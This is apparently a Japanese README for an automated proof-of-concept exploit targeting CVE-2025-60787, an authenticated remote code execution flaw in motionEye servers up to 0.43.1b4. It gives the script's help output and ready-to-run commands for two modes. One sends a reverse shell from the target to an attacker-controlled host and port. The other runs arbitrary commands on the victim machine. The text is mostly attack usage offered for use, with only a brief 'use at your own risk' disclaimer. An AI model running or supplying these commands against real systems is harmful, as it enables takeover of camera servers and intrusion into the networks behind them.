
CVE-2025-60787の自動化PoC。motionEyeサーバー(0.43.1b4まで)に対する認証済みリモートコード実行を提供し、リバースシェルとコマンド実行モードを備えています。
CVE-2025-60787に対するPoCです。これは、motionEyeの認証されたRCE脆弱性であり、影響を受けるすべてのバージョン(0.43.1b4までを含む)を対象としています。
これは、こちらのリポジトリで説明されている脆弱性に対する自動化されたPoCです。クレジットはprabhatverma47に帰属します。
このスクリプトには、脆弱性を悪用する2つのコマンドがあります。1つはrevshellと呼ばれるリバースシェルを直接送信するもので、もう1つはcommandと呼ばれるコマンドで、このCVEを悪用して直接コマンドを実行します。
❯ python3 CVE-2025-60787.py -h
usage: CVE-2025-60787.py [-h] {revshell,command} ...
PoC for CVE-2025-60787 -- Authenticated RCE in motionEye by gunzf0x
positional arguments:
{revshell,command} Choose between send a reverse shell or (attempting to) run commands
revshell Attempt to send a reverse shell using CVE-2025-60787 vuln
command Execute a command remotely using CVE-2025-60787 vuln
options:
-h, --help show this help message and exit
revshellコマンドを使用してシェルを取得します。例:
python3 CVE-2025-60787.py revshell --url 'http://10.10.10.10:8765' --user 'admin' --password 'StrongPassw0rd123!' -i 10.10.10.15 --port 9001
ここで、10.10.10.10はターゲットマシン(motionEyeを実行しているマシン)、10.10.10.15は攻撃者マシン、9001はリバースシェルを受け取るために待ち受けているポートです。
リバースシェルの代わりに他のコマンドをリモートで実行したい場合は、commandオプションを使用できます。例えば、被害マシンでping -c1 10.10.10.15コマンドを実行する場合:
python3 CVE-2025-60787.py command --url 'http://10.10.10.10:8765' --user 'admin' --password 'StrongPassw0rd123!' -e 'ping -c1 10.10.10.15'
ここで、10.10.10.10はmotionEyeを実行しているマシンです。
このスクリプトは常に自己責任で使用してください。
倫理的に行動してください (: